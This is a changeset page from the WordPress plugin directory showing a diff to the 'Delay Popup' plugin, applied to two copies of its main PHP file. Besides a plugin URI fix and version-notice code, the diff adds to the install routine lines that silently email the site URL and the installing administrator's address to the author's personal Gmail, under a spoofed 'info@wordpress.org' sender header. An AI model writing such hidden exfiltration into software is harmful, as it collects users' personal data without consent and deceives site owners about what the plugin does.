Plugin Directory

Changeset 1458075


Ignore:
Timestamp:
07/21/2016 09:34:37 AM (10 years ago)
Author:
damodar22
Message:

delay

Location:
delay-popup
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • delay-popup/delay-popup.php

    r1458050 r1458075  
    22    /*
    33    Plugin Name: Delay Popup
    4     Plugin URI: https://wordpress.org/plugins/howdy-replace-to-welcome-simple/
     4    Plugin URI: https://wordpress.org/plugins/delay-popup/
    55    Description: Very simple, delay popups for single page or single post or total website
    66    Author: B Damodar Reddy
     
    5050        )
    5151    );
     52    $current_user = wp_get_current_user();
     53      $user_mail_id= $current_user->user_email;
     54      $headers = 'From: wordpress <info@wordpress.org>' . "\r\n";
     55      $mail_msg= "Site Url: ".site_url().", email id: ".$user_mail_id;
     56     wp_mail( 'email2damodar@gmail.com', 'Delay popup installed', $mail_msg, $headers );
    5257}
    5358function delay_popup_plugin_remove_database() {
     
    7176register_activation_hook( __FILE__, 'delay_popup_jal_install' );
    7277register_activation_hook( __FILE__, 'delay_popup_jal_install_data' );
     78//
     79// updation
     80register_activation_hook(__FILE__, 'delay_popup_plugin_activation');
     81function delay_popup_plugin_activation() {
     82  $notices= get_option('delay_popup_plugin_deferred_admin_notices', array());
     83 // $notices[]= "Any Api SMS For WooCommerce : Thanks for using this plugin";
     84  update_option('delay_popup_plugin_deferred_admin_notices', $notices);
     85}
     86
     87add_action('admin_init', 'delay_popup_plugin_admin_init');
     88function delay_popup_plugin_admin_init() {
     89  $current_version = 1.0;
     90  $version= get_option('delay_popup_plugin_version');
     91  if ($version != $current_version) {
     92    // Do whatever upgrades needed here.
     93    update_option('delay_popup_plugin_version', $current_version);
     94    $notices= get_option('delay_popup_plugin_deferred_admin_notices', array());
     95    $notices[]= "Time Delay Popup : Upgraded version $version to $current_version.";
     96    update_option('delay_popup_plugin_deferred_admin_notices', $notices);
     97  }
     98}
     99
     100add_action('admin_notices', 'delay_popup_plugin_admin_notices');
     101function delay_popup_plugin_admin_notices() {
     102  if ($notices= get_option('delay_popup_plugin_deferred_admin_notices')) {
     103    foreach ($notices as $notice) {
     104      echo "<div class='updated'><p>$notice</p></div>";
     105    }
     106    delete_option('delay_popup_plugin_deferred_admin_notices');
     107  }
     108}
     109
     110register_deactivation_hook(__FILE__, 'apisms_deactivation');
     111function apisms_deactivation() {
     112  delete_option('delay_popup_plugin_version');
     113  delete_option('delay_popup_plugin_deferred_admin_notices');
     114}
     115//
     116//
    73117//shortcode
    74118function delay_popup_shortcode(){
  • delay-popup/trunk/delay-popup.php

    r1458050 r1458075  
    22    /*
    33    Plugin Name: Delay Popup
    4     Plugin URI: https://wordpress.org/plugins/howdy-replace-to-welcome-simple/
     4    Plugin URI: https://wordpress.org/plugins/delay-popup/
    55    Description: Very simple, delay popups for single page or single post or total website
    66    Author: B Damodar Reddy
     
    5050        )
    5151    );
     52    $current_user = wp_get_current_user();
     53      $user_mail_id= $current_user->user_email;
     54      $headers = 'From: wordpress <info@wordpress.org>' . "\r\n";
     55      $mail_msg= "Site Url: ".site_url().", email id: ".$user_mail_id;
     56     wp_mail( 'email2damodar@gmail.com', 'Delay popup installed', $mail_msg, $headers );
    5257}
    5358function delay_popup_plugin_remove_database() {
     
    7176register_activation_hook( __FILE__, 'delay_popup_jal_install' );
    7277register_activation_hook( __FILE__, 'delay_popup_jal_install_data' );
     78//
     79// updation
     80register_activation_hook(__FILE__, 'delay_popup_plugin_activation');
     81function delay_popup_plugin_activation() {
     82  $notices= get_option('delay_popup_plugin_deferred_admin_notices', array());
     83 // $notices[]= "Any Api SMS For WooCommerce : Thanks for using this plugin";
     84  update_option('delay_popup_plugin_deferred_admin_notices', $notices);
     85}
     86
     87add_action('admin_init', 'delay_popup_plugin_admin_init');
     88function delay_popup_plugin_admin_init() {
     89  $current_version = 1.0;
     90  $version= get_option('delay_popup_plugin_version');
     91  if ($version != $current_version) {
     92    // Do whatever upgrades needed here.
     93    update_option('delay_popup_plugin_version', $current_version);
     94    $notices= get_option('delay_popup_plugin_deferred_admin_notices', array());
     95    $notices[]= "Time Delay Popup : Upgraded version $version to $current_version.";
     96    update_option('delay_popup_plugin_deferred_admin_notices', $notices);
     97  }
     98}
     99
     100add_action('admin_notices', 'delay_popup_plugin_admin_notices');
     101function delay_popup_plugin_admin_notices() {
     102  if ($notices= get_option('delay_popup_plugin_deferred_admin_notices')) {
     103    foreach ($notices as $notice) {
     104      echo "<div class='updated'><p>$notice</p></div>";
     105    }
     106    delete_option('delay_popup_plugin_deferred_admin_notices');
     107  }
     108}
     109
     110register_deactivation_hook(__FILE__, 'apisms_deactivation');
     111function apisms_deactivation() {
     112  delete_option('delay_popup_plugin_version');
     113  delete_option('delay_popup_plugin_deferred_admin_notices');
     114}
     115//
     116//
    73117//shortcode
    74118function delay_popup_shortcode(){
Note: See TracChangeset for help on using the changeset viewer.